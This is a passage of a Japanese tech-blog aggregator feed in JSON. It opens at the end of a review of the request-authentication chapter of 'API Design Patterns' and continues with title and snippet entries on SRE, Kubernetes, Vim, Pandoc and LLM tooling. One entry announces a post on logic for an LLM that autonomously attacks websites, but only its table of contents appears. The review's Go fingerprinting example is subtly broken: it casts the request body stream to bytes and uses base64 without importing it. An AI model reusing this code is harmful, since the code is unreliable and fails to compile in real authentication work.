signature)}この実装例では、RSA暗号化を使用してクレデンシャルの生成、リクエストの署名、署名の検証を行っています。実際の運用環境では、これらの基本的な関数をより堅牢なエラーハンドリングとロギングメカニズムで包む必要があります。リクエストのフィンガープリンティング著者は、リクエスト全体を署名するのではなく、リクエストの「フィンガープリント」を生成して署名することを提案しています。このフィンガープリントには以下の要素が含まれます。HTTPメソッドリクエストのパスホストリクエストボディのダイジェスト日付これらの要素を組み合わせることで、リクエストの本質的な部分を捉えつつ、署名対象のデータサイズを抑えることができます。以下に、フィンガープリントの生成例を示します。import ( \\"crypto/sha256\\" \\"fmt\\" \\"net/http\\" \\"strings\\" \\"time\\")func generateFingerprint(r *http.Request) string { bodyDigest := sha256.Sum256([]byte(r.Body)) elements := []string{ fmt.Sprintf(\\"(request-target): %s %s\\", strings.ToLower(r.Method), r.URL.Path), fmt.Sprintf(\\"host: %s\\", r.Host), fmt.Sprintf(\\"date: %s\\", time.Now().UTC().Format(http.TimeFormat)), fmt.Sprintf(\\"digest: SHA-256=%s\\", base64.StdEncoding.EncodeToString(bodyDigest[:])), } return strings.Join(elements, \\"\\\\n\\")}このアプローチにより、リクエストの重要な部分を効率的に署名できるようになります。実践的な応用と考察この章の内容は、実際のAPI設計と運用において非常に重要です。特に以下の点が重要になります。セキュリティと信頼性: デジタル署名を使用したリクエスト認証は、APIの安全性と信頼性を大幅に向上させます。これは特に、金融取引や医療情報など、機密性の高いデータを扱うシステムで重要です。マイクロサービスアーキテクチャでの応用: サービス間通信の認証に適用することで、マイクロサービスアーキテクチャ全体のセキュリティを強化できます。スケーラビリティの考慮: デジタル署名の検証は計算コストが高いため、大規模なシステムでは適切なキャッシング戦略やロードバランシングが必要になる可能性があります。運用上の課題: 秘密鍵の安全な管理や、公開鍵の配布・更新メカニズムの構築が必要になります。これらは、適切なシークレット管理システムやPKIインフラストラクチャの導入を検討する良い機会となります。監視とロギング: 署名の検証失敗や不正なリクエストの試行を適切に監視・ロギングすることで、システムの安全性をさらに向上させることができます。結論第30章「Request authentication」は、APIにおけるリクエスト認証の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIのセキュリティ、信頼性、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト認証は、オリジン、完全性、否認防止の3つの要件を満たす必要があります。デジタル署名は、これらの要件を満たす強力なメカニズムを提供します。リクエストのフィンガープリンティングは、効率的かつ効果的な署名方法です。この認証方式の実装には、適切なクレデンシャル管理と運用プラクティスが不可欠です。パフォーマンスとスケーラビリティのトレードオフを慎重に検討する必要があります。これらの原則を適切に適用することで、開発者はより安全で信頼性の高いAPIを設計することができます。特に、高度なセキュリティ要件を持つシステムや、複雑な分散アーキテクチャを採用している環境では、この認証方式の実装が極めて重要になります。しかし、この認証方式の導入には慎重な検討も必要です。特に、パフォーマンス、運用の複雑さ、開発者の学習曲線の観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト認証の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIのセキュリティを向上させるだけでなく、システム全体の信頼性、運用効率、そして将来の拡張性にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。デジタル署名を用いたリクエスト認証の適切な実装は、システムのセキュリティを大幅に向上させ、潜在的な脅威や攻撃から保護する強力な手段となります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。おわりに「API Design Patterns」を通じて、APIデザインの本質と普遍的な設計原則を学びました。これらの原則は、技術の変化に関わらず長期的に価値があります。本書は、APIをシステム間のコミュニケーションの重要な媒介者として捉える視点を提供しました。この知識は、API設計だけでなく、ソフトウェア開発全般に適用可能です。次の課題は、学んだ概念を実践で適用することです。技術は進化し続けますが、本書の洞察は変化の中でも指針となります。これからも学び続け、より良いシステムとソリューションを開発していきましょう。そもそも、Design Patternsは設計ではないですよね?Design Patternsは設計そのものではなく、ソフトウェア開発の共通問題に対する定型的な解決策を提供するツールキットです。これはマジでミスリードです。すみません。設計は、具体的な問題や要件に対して適切な解決策を考案し実装するプロセスです。Design Patternsを知っているだけでは、優れた設計はできません。Design Patternsの価値は、共通の語彙と概念的フレームワークを提供することです。これにより、開発者間のコミュニケーションが円滑になり、問題の本質をより速く把握できます。良い設計者になるには、Design Patternsを知ることも重要ですが、それ以上に問題を深く理解し、創造的に思考し、様々な選択肢を比較検討する能力が重要です。結論として、Design Patternsは設計を支援するツールであり、設計そのものではありません。優れた設計を生み出すのは、パターンを適切に理解し、状況に応じて適用できる開発者の創造性と判断力です。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。あなたがさっきまで読んでいた技術的に役立つ記事は、10年後も使えるでしょうか?ほとんどの場合でいいえ。最初に戻る。","isoDate":"2024-08-20T10:14:35.000Z","dateMiliSeconds":1724148875000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"RAGの検索対象ファイル数","link":"https://shu-kob.hateblo.jp/entry/2024/08/19/235703","contentSnippet":"RAGアプリの開発で、対象ファイル1件の情報のみ出力してほしいのに、複数のファイルの内容が混ざって出力されることがありました。RAGの検索対象ファイル数を1にするだけで解決しました。最初は、ファイルごとにRAGを分けないといけないのでは?と思いやろうとすると超絶面倒そう。RAGの検索対象ファイル数を1にするだけでOKだと気づいてよかった!","isoDate":"2024-08-19T14:57:03.000Z","dateMiliSeconds":1724079423000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"エンジニア夏休み明けの仕事(Slackを使っている場合)","link":"https://shu-kob.hateblo.jp/entry/2024/08/18/233512","contentSnippet":"2024年。お盆休みをとって、8月19日(月)から仕事再開の方も多いと思います。最初に何をして、スムーズに仕事を再開できるかを書きたいと思います。Slackを使っていることを前提として書きます。夏季休暇の時期は自由で、自分はお盆休みとっても、とっていない方がメンションを飛ばしていることもあると思います。Slackのアクティビティで確認しましょう。量が多ければ、タスクを登録しましょう。JiraやNotionなどのカンバンボードに。Googleカレンダーを使用している場合は、カレンダー上でタスクを登録する手もあります。私はカンバンボードに加えて、ちょっとした作業はカレンダー上にタスクを登録したりしています。たくさんのメンションが来ている方もいらっしゃるかもしれませんが、一つずつ確実に消化していきましょう!お盆休み明けのお仕事頑張りましょうね!","isoDate":"2024-08-18T14:35:12.000Z","dateMiliSeconds":1723991712000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cloud Run 上の Next.js を OpenTelemetry で計装する","link":"https://zenn.dev/kimitsu/articles/nextjs-otel-on-cloud-run","contentSnippet":"Cloud Run はコンテナ化されたアプリケーションを実行するための Google Cloud のフルマネージドサービスです。Google Cloud 上でコンテナアプリを動かす場合、Cloud Run がファーストチョイスとなります。Next.js のデプロイ先としては Vercel が有名ですが、Google Cloud 上で動かしたい場合は Cloud Run になるでしょう。Next.js には Experimental ではありますが OpenTelemetry サポートがあり、Vercel でも Pro 以上のプランにすることでテレメトリを収集することができます。今...","isoDate":"2024-08-17T14:41:05.000Z","dateMiliSeconds":1723905665000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"つくって、壊して、直して学ぶ Kubernetes入門 Kindle版が期間限定で半額","link":"https://shu-kob.hateblo.jp/entry/2024/08/17/230505","contentSnippet":"つくって、壊して、直して学ぶ Kubernetes入門作者:高橋 あおい翔泳社AmazonKubernetesの入門書「つくって、壊して、直して学ぶ Kubernetes入門」Kindle版が期間限定で半額です!(2024年8月17日現在、終了まで5日)この書籍は、難解と言われるkubernetesをタイトル通りつくって、壊すハンズオンにより実践的に学べます!漫画も豊富に描いてあり、とっつきやすいです!私もこの半額キャンペーンでKindle版を買うて読んでいる最中です。発売も2024年4月なので、情報も新しいです。IT技術書はすぐに情報が古くなるので、最新の情報を読んでいく必要がありますからね。Kubernetesの入門書籍はこちらがダントツ一推しだと思います!","isoDate":"2024-08-17T14:05:05.000Z","dateMiliSeconds":1723903505000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LLMを利用して、APIを自動でテストするツールを作ってみる","link":"https://sreake.com/blog/llm-api-test-automation/","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。本記事では、LLMとテストツールを […]The post LLMを利用して、APIを自動でテストするツールを作ってみる first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-08-14T22:24:42.000Z","dateMiliSeconds":1723674282000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Docker Build Check について検証をしてみた","link":"https://sreake.com/blog/docker-build-check/","contentSnippet":"はじめに こんにちは、Sreake 事業部 佐藤慧太@(SatohJohn) です。 以下の docker build check という機能について、検証をし、Google Cloud の Cloud Build に組 […]The post Docker Build Check について検証をしてみた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-08-13T01:00:00.000Z","dateMiliSeconds":1723510800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SRE支援の効果的なアプローチについて(SRE NEXT 2024登壇のRecap)","link":"https://zenn.dev/kojake_300/articles/b977011a04fce4","contentSnippet":"この記事は、SRE NEXT 2024で、株式会社スリーシェイクのスポンサーセッションとして登壇した「内製化を見据えた効果的なSRE支援のアプローチ」をセルフでRecapしたものになります。 はじめに株式会社スリーシェイクのSreake事業部に所属しています。2024年8月3日、4日に開催された SRE NEXT 2024 に「内製化を見据えた効果的なSRE支援のアプローチ」という題で登壇しました。20分の枠なのに60枚弱のスライドを作成するという暴挙に出てしまい、端折りながらの説明となってしまったため、Recapとして登壇内容を解説します。 想定読者本登壇資料は、SRE...","isoDate":"2024-08-08T09:18:01.000Z","dateMiliSeconds":1723108681000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Pandoc ONLINE #1で「PandocとLuaフィルタで作るプログラマブルな文書」について発表しました","link":"https://blog.atusy.net/2024/08/07/pandoc-online-1/","contentSnippet":"日本Pandocユーザ会主催の勉強会「Pandoc ONLINE #1」が開催されました。コミュニティ主催のsky_yさんが活動を再開していこうとしてらっしゃるので、これからが楽しみですね。勉強会後の雑談会では、Pandocの技術的な話はしばしば出てくるが、業務でどう使われているか、みたいな話がなかなか出てこないという感想もあったので、コミュニティが盛り上がってこのあたりの知見共有も進むといいなと思います。","isoDate":"2024-08-07T00:00:00.000Z","dateMiliSeconds":1722988800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rで関数定義のジャンプがしょぼいわけ","link":"https://blog.atusy.net/2024/08/07/r-def-jumpt/","contentSnippet":"RStudioなどのエディタは、関数の定義ジャンプ機能を備えます。https://cran.r-project.org/web/packages/languageserver/index.html)。","isoDate":"2024-08-07T00:00:00.000Z","dateMiliSeconds":1722988800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【SRE-NEXT 2024】内製化を見据えた効果的なSRE支援のアプローチ / SRE support approach","link":"https://speakerdeck.com/kojake_300/sre-next-2024-nei-zhi-hua-wojian-ju-etaxiao-guo-de-nasrezhi-yuan-noapuroti","contentSnippet":"","isoDate":"2024-08-03T04:00:00.000Z","dateMiliSeconds":1722657600000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"telescope.nvimでlive_grepした結果をファイル名で絞り込む","link":"https://blog.atusy.net/2024/08/02/telescope-grep-refiement/","contentSnippet":"Vim駅伝8/2の記事です。telescope.nvimはNeovim向けのファジーファインダーと類されるプラグインです。:Telescope live_grepがあり、プロジェクト内のファイルを正規表現で検索できます。しかし、検索結果が多いときに、ファイル名で絞り込みたいことがあります。たとえば、特定のディレクトリだけの結果が必要とか、テスト関係のファイルを除外したいとかいった状況があります。","isoDate":"2024-08-02T00:00:00.000Z","dateMiliSeconds":1722556800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"SLI、SLO、エラーバジェット導入の前に知っておきたいこと","link":"https://sreake.com/blog/sli-slo-good-practices/","contentSnippet":"1. はじめに こんにちは、「信頼性は可用性ではない」を標語にしているnwiizoです。 近年、サービスの信頼性向上に向けた取り組みとして、SLI(Service Level Indicator)、SLO(Service […]The post SLI、SLO、エラーバジェット導入の前に知っておきたいこと first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-30T03:12:29.000Z","dateMiliSeconds":1722309149000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud Operator Days Tokyo 2024 にスリーシェイクのエンジニアが登壇","link":"https://sreake.com/blog/cloud-operator-days-tokyo-2024-%e3%81%ab%e3%82%b9%e3%83%aa%e3%83%bc%e3%82%b7%e3%82%a7%e3%82%a4%e3%82%af%e3%81%ae%e3%82%a8%e3%83%b3%e3%82%b8%e3%83%8b%e3%82%a2%e3%81%8c%e8%ac%9b%e5%b8%ab%e3%81%a8/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、Cloud Operator Days 2024 実行委員会が主催する「Cloud Operator D […]The post Cloud Operator Days Tokyo 2024 にスリーシェイクのエンジニアが登壇 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-25T01:11:09.000Z","dateMiliSeconds":1721869869000,"authorName":"Sreake","authorId":"Sreake"},{"title":"TTC Silent Bluish White Tactile Switchがよさげ","link":"https://blog.atusy.net/2024/07/25/ttc-silent-bluish-white-tactile-switch/","contentSnippet":"TTC Silent Bluish White Tactile Switchを購入しました。別所での評判の通り、押し始めのタクタイル感が強く、そのあとすとんと落ちる感じ。静音性も高い。軸のグラつきも気にならない。","isoDate":"2024-07-25T00:00:00.000Z","dateMiliSeconds":1721865600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、SRE NEXT 2024 にDIAMONDスポンサーとして協賛","link":"https://sreake.com/blog/srenext2024/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 2024年8月3日(土)・8月4日(日)に@Abema Towersで開催される「SRE NEXT 2024」にDIAMO […]The post スリーシェイク、SRE NEXT 2024 にDIAMONDスポンサーとして協賛 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-23T01:18:53.000Z","dateMiliSeconds":1721697533000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PandocでLuaオブジェクトをJSON文字列化する","link":"https://blog.atusy.net/2024/07/23/pandoc-lua-to-json/","contentSnippet":"ドキュメントの相互変換ツールであるPandocは、Lua言語のインタプリタを内蔵しており、便利なモジュールも様々に提供しています。pandoc luaでインタプリタを起動したり、pandoc lua hoge.luaでhoge.luaを実行したりもできちゃいます。","isoDate":"2024-07-23T00:00:00.000Z","dateMiliSeconds":1721692800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Webサイトを自律攻撃するLLMのロジックを考えた","link":"https://sreake.com/blog/llm_hacker_gpt/","contentSnippet":"目次 はじめに LLMによるハッキングの先行事例 シンプルなAssistants API を用いた攻撃 自律攻撃を行うエージェント 効果的なエージェントの作成の既存手法 3エージェントによる計画・実行・再計画のループ機構 […]The post Webサイトを自律攻撃するLLMのロジックを考えた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-22T01:00:00.000Z","dateMiliSeconds":1721610000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Raspberry Pi 4 での USB Strage Driver","link":"https://blog.1q77.com/2024/07/raspberry-pi4-usb-strage-driver/","contentSnippet":"おうちの Raspberry Pi4 は USB で SSD Driver を接続して Samba で File Server にしているわけですが 多くの Read/Write を行うとなぜか OS ごと Hangup するという問題がありました。 最初は電源不足かなと思","isoDate":"2024-07-20T10:19:30.000Z","dateMiliSeconds":1721470770000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"モダンインフラの基礎を学ぼう!実践コンテナ入門","link":"https://speakerdeck.com/bells17/motaninhuranoji-chu-woxue-hou-shi-jian-kontenaru-men","contentSnippet":"技育CAMPアカデミアでの発表資料です\\rhttps://talent.supporterz.jp/events/8cb9a300-506c-4d9d-b2af-e9924e0209a2/","isoDate":"2024-07-17T04:00:00.000Z","dateMiliSeconds":1721188800000,"authorName":"bells17","authorId":"bells17"},{"title":"Grafana Beylaの出来るコト出来ないコト","link":"https://zenn.dev/kojake_300/articles/4238a66124d095","contentSnippet":"この記事は、2024/6/28に登壇したJagu\'e\'r Jagu\'e\'r O11y-SRE \xd7 CloudNative コラボ Meetupのリマスターになります。 分散トレーシングの悩み突然ですが皆さん、分散トレーシングを実装する際、一度はこんなことを考えた経験はありませんか?特にクラウドインフラ出身の私は、意気揚々と分散トレーシングを実装しようとした時に、アプリケーションコードが書けずに全く歯が立たなかった苦い経験があります。。。でも、、ということで、本記事ではBeylaとは何者なのか、従来の分散トレーシングとは何が違うのかを解説していきます!\uD83D\uDCAA 分散トレーシ...","isoDate":"2024-07-15T15:07:47.000Z","dateMiliSeconds":1721056067000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"「Efficient Linux コマンドライン」から学んだこと","link":"https://zenn.dev/moz_sec/articles/2a849651de3fe1","contentSnippet":"はじめに本記事では、「Efficient Linux コマンドライン」を読んで、私自身が新たに学んだことについてメモしています。私がすでに知っていた情報については本記事に書いていないため、興味があればお手元に買って読んでみてください。この記事には書いていないこともたくさん書いてあります。この本の対象読者としては、Linuxの勉強を1からしたい人というよりは、Linuxをそこそこ触ったことがある人になると思います。\\"そこそこ触ったことがある\\"のレベルとしては、コマンドでディレクトリを変更したり、プログラムを実行したりしていれば十分です。336ページとそこまで長くもなく、またLi...","isoDate":"2024-07-15T08:51:51.000Z","dateMiliSeconds":1721033511000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"ShellScriptで自動化を楽にしたい時に知っておいても良いこと","link":"https://sreake.com/blog/shellscript-good-practices/","contentSnippet":"はじめに こんにちは、皆さん。今日は、シェルスクリプトを使った高度な自動化のベストプラクティスとパターンについて解説します。これらは、ちょっとした知識で実行でき、作業を大幅に効率化できるTipsです。シェルスクリプトは、 […]The post ShellScriptで自動化を楽にしたい時に知っておいても良いこと first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-14T23:08:45.000Z","dateMiliSeconds":1720998525000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Keycloakの歴史とSSO","link":"https://speakerdeck.com/melanmeg/keycloaknoli-shi-tosso","contentSnippet":"社内LT","isoDate":"2024-07-13T04:00:00.000Z","dateMiliSeconds":1720843200000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"Pull requestの概要の作成とコードの改善を提案するツールを作ってみた","link":"https://sreake.com/blog/pr-guardian/","contentSnippet":"1. はじめに はじめまして、Sreake事業部でインターンをしている村山です。 今回は、PR Guardianというツールの開発と検証をしました。PR GuardianはPull Requestの概要の作成、コードの改 […]The post Pull requestの概要の作成とコードの改善を提案するツールを作ってみた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-09T11:10:06.000Z","dateMiliSeconds":1720523406000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Platform Engineering と SRE の門 ","link":"https://speakerdeck.com/nwiizo/platform-engineering-to-sre-nomen","contentSnippet":"Platform Engineering とSREの門 というタイトルで登壇しました。入門のタイポではありません。\\r\\rイベント名: Platform Engineering Kaigi 2024\\rイベントURL:https://www.cnia.io/pek2024/\\r\\r登壇ブログ:『Platform Engineering とSREの門』という間違ったみたいなタイトルで登壇しました。 #PEK2024\\rhttps://syu-m-5151.hatenablog.com/entry/2024/07/09/215147","isoDate":"2024-07-09T04:00:00.000Z","dateMiliSeconds":1720497600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"AWS SNSでエラー通知させ、SLOについて考える","link":"https://speakerdeck.com/melanmeg/aws-snsdeeratong-zhi-sase-slonituitekao-eru","contentSnippet":"以下、登壇資料。\\rJAWS-UG SRE支部 #9 初心者LT大会\\rhttps://jawsug-sre.connpass.com/event/321380/","isoDate":"2024-07-08T04:00:00.000Z","dateMiliSeconds":1720411200000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"スリーシェイク、PagerDuty on Tour TOKYO 2024 にGoldスポンサーとして協賛","link":"https://sreake.com/blog/sponsor/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は 2024年8月6日(火)に東京ミッドタウンで開催される「PagerDuty on Tour TOKYO 2024」にGold […]The post スリーシェイク、PagerDuty on Tour TOKYO 2024 にGoldスポンサーとして協賛 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-05T01:19:54.000Z","dateMiliSeconds":1720142394000,"authorName":"Sreake","authorId":"Sreake"},{"title":"soci-snapshotter によるコンテナの起動時間削減について","link":"https://sreake.com/blog/container-lazy-pull-soci-snapshotter/","contentSnippet":"はじめに 近年、機械学習を使ったアプリケーションの需要が高まっており、Kubernetes と GPU を組み合わせて使うパターンが多く存在します。その中で問題となることの 1 つが、コンテナイメージのサイズが大きくなる […]The post soci-snapshotter によるコンテナの起動時間削減について first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-03T09:04:51.000Z","dateMiliSeconds":1719997491000,"authorName":"Sreake","authorId":"Sreake"},{"title":"space-agonを通して触るゲームインフラ","link":"https://sreake.com/blog/learn-game-infrastructure-from-space-agon/","contentSnippet":"はじめに Sreake 事業部でインターンをしている小川です。主にパブリッククラウド周辺に触れながら、 Kubernetes 関連の OSS の技術検証・調査をしています。 本調査では、Agones と Open Mat […]The post space-agonを通して触るゲームインフラ first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-03T09:04:48.000Z","dateMiliSeconds":1719997488000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Lookerでもpivotがしたい!!","link":"https://zenn.dev/nedoko_dok0dko/articles/8c70b7bfa0cef4","contentSnippet":"whatLooker上でpivotテーブルができるかを調べてやってみたメモ Q. Lookerでpivotできるの…?A.できるhttps://www.cloudskillsboost.google/course_templates/323/video/432948?locale=jaLooker自身の仕様上、ExcelやLooker Studioのような操作感と少し違う点に注意。 対応グラフ表グラフ表グラフ(レガシー) やってみるExplorerを利用してできるので、簡単なデータを入れたテーブルを用意してやってみる。 利用環境データソース:...","isoDate":"2024-07-02T14:05:01.000Z","dateMiliSeconds":1719929101000,"authorName":"seno","authorId":"seno"},{"title":"eBPFで計装はノーコードの時代へ Grafana Beylaの出来るコト出来ないコト","link":"https://speakerdeck.com/kojake_300/ebpfdeji-zhuang-hanokodonoshi-dai-he-grafana-beylanochu-lai-rukotochu-lai-naikoto","contentSnippet":"","isoDate":"2024-07-01T04:00:00.000Z","dateMiliSeconds":1719806400000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"【Kubernetes☸️】\\"Findy 開発生産性 Conference\\" に登壇","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2024/07/01/120000","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️プラットフォーム設計導入のために、横断的コミュニケーションが必要であるプラットフォームエンジニアリングで、マルチプロダクトの生産性を支えるプラットフォームエンジニアリングで、各マイクロサービスの生産性を支える発表スライドから得られる知識イベント名発表スライド登壇映像文字起こし謝辞イベント名オッス!オラ長谷川!✋\uD83C\uDFFB『マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計』ていうテーマで、 Findy 開発生産性 Conference に登壇したぞ!https://developer-productivity-engineering.connpass.com/event/314507/発表スライドみんな!スライドぜってぇ見てくれよな!『Findy開発生産性Conference』の発表資料です✊\uD83C\uDFFBオラたちのプラットフォームエンジニアリング事例を紹介してっから、ぜってぇ見てくれよな!✋\uD83C\uDFFB#開発生産性con_findyhttps://t.co/DjqztPn9z4— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) June 28, 2024 ちな、発表内容はこの記事にも関連してるぜ!登壇映像Findyさんが登壇の映像を公開してくれました\uD83C\uDFA5文字起こしFindyさんが発表を文字起こししてくれました\uD83D\uDDE3️謝辞感謝するぜ!イベントで出会えた全ての方々に!!!\uD83E\uDEF6\uD83C\uDFFB株式会社スリーシェイクのブースにお邪魔させていただきました\uD83D\uDE4C#3shake_inc pic.twitter.com/W7ufgaKfbS— すてにゃん (@stefafafan) June 29, 2024","isoDate":"2024-07-01T03:00:00.000Z","dateMiliSeconds":1719802800000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"♾️ マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計","link":"https://speakerdeck.com/hiroki_hasegawa/marutipurodakutonozu-zhi-demaikurosabisuakitekutiyawozhi-erucicdpuratutohuomushe-ji","contentSnippet":"\\"Findy開発生産性Conference\\" の発表資料です✊\uD83C\uDFFB\\r\\r生産性を支えるためのプラットフォームエンジニアリング事例として、以下の3つの取り組みを紹介しました!\\r\\r・プラットフォーム設計導入のために、横断的コミュニケーションが必要である\\r・プラットフォームエンジニアリングで、マルチプロダクトの生産性を支える\\r・プラットフォームエンジニアリングで、各マイクロサービスの生産性を支える\\r\\r❓ はてなぶろぐ記事:https://hiroki-hasegawa.hatenablog.jp/entry/2024/07/01/120000\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1806559579180011572\\r\\r✍\uD83C\uDFFB 社内レポート:https://note.3-shake.com/n/n8efac1be167d\\r\\r\uD83D\uDDE3️ 発表文字起こし:https://findy-code.io/engineer-lab/dev-productivity-con-2024-3shake","isoDate":"2024-06-28T04:00:00.000Z","dateMiliSeconds":1719547200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"運用者の各領域で向き合うLLM","link":"https://speakerdeck.com/nwiizo/yun-yong-zhe-noge-ling-yu-dexiang-kihe-ullm","contentSnippet":"運用者の各領域で向き合うLLM というタイトルで登壇しました。\\r\\rイベント名: Cloud Operator Days Tokyo 2024 \\rイベントURL:https://cloudopsdays.com/","isoDate":"2024-06-28T04:00:00.000Z","dateMiliSeconds":1719547200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"ReckonerとATBeX Service LinkのGCP接続を検証してみた","link":"https://sreake.com/blog/reckoner-atbex-service-link-gcp/","contentSnippet":"はじめに Sreake事業部のsatokenです。 普段はお客様向けのSRE案件も担当していますが、弊社SaaSのReckonerのSREも兼務しています。 これまでReckonerからDataソースにアクセスするときは […]The post ReckonerとATBeX Service LinkのGCP接続を検証してみた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-06-25T07:15:31.000Z","dateMiliSeconds":1719299731000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SKKの接頭辞・接尾辞変換をvim-skk/skkeletonに追加した","link":"https://blog.atusy.net/2024/06/21/skkeleton-affix/","contentSnippet":"Vim駅伝の2024/6/21の記事です。SKKは快適な日本語入力を実現する素敵なインプットメソッドです。WindowsやmacOSなどOS本体向けの実装もあるのですが、Vim向けにもskkeletonやtusskといった実装があります。ddskkです。","isoDate":"2024-06-21T00:00:00.000Z","dateMiliSeconds":1718928000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Packer + Ansible で ftp-server: No such file or directory でコケたら","link":"https://qiita.com/yteraoka/items/9576de9392fc5db6053a","contentSnippet":"事象久々に packer + ansible で AWS の AMI を作成しようとしたら次のようなエラーでコケてしまいました。fatal: [default]: UNREACHABLE! =>…","isoDate":"2024-06-19T15:32:52.000Z","dateMiliSeconds":1718811172000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"[Kubecon EU 2024: Cloud Native AI Day]Reducing Cross-Zone Egress at Spotify with Custom gRPC Load Balancing のご紹介","link":"https://sreake.com/blog/kubecon-eu-2024-cloud-native-ai-dayreducing-cross-zone-egress-at-spotify-with-custom-grpc-load-balancing/","contentSnippet":"はじめに こんにちは、Sreake事業部の永瀬滉平です! 今回はKubeCon EU 2024に参加してきましたので、中でも気になったセッションをピックアップしてご紹介したいと思います。 セッションについて 取り上げるセ […]The post [Kubecon EU 2024: Cloud Native AI Day]Reducing Cross-Zone Egress at Spotify with Custom gRPC Load Balancing のご紹介 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-06-19T01:18:15.000Z","dateMiliSeconds":1718759895000,"authorName":"Sreake","authorId":"Sreake"},{"title":"KubernetesにおけるCELの記述方法まとめ","link":"https://sreake.com/blog/kubernetes-cel-description/","contentSnippet":"はじめに Kubernetes 1.30でValidating Admission Policyの機能がGAするなど、開発中の新機能にCELが組み込まれるケースが増えています。今後Kubernetesで使われる機会が増え […]The post KubernetesにおけるCELの記述方法まとめ first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-06-12T03:33:38.000Z","dateMiliSeconds":1718163218000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Vimのj/kを加速させるサブモード","link":"https://blog.atusy.net/2024/06/12/vim-submode-jjjj/","contentSnippet":"Vim駅伝の2024/6/12の記事です。Vimmerならついなんとはなしにj/kしちゃうこともありますし、とか使いなよと分かってても長距離j/kしちゃうこともありますよね。ryhsd/accelerated-jkがあります。","isoDate":"2024-06-12T00:00:00.000Z","dateMiliSeconds":1718150400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google CloudのRapid evaluation APIを利用したLLMの評価手法","link":"https://sreake.com/blog/google-cloud-rapid-evaluation-api-verification/","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。 本記事では、LLMの評価手法とし […]The post Google CloudのRapid 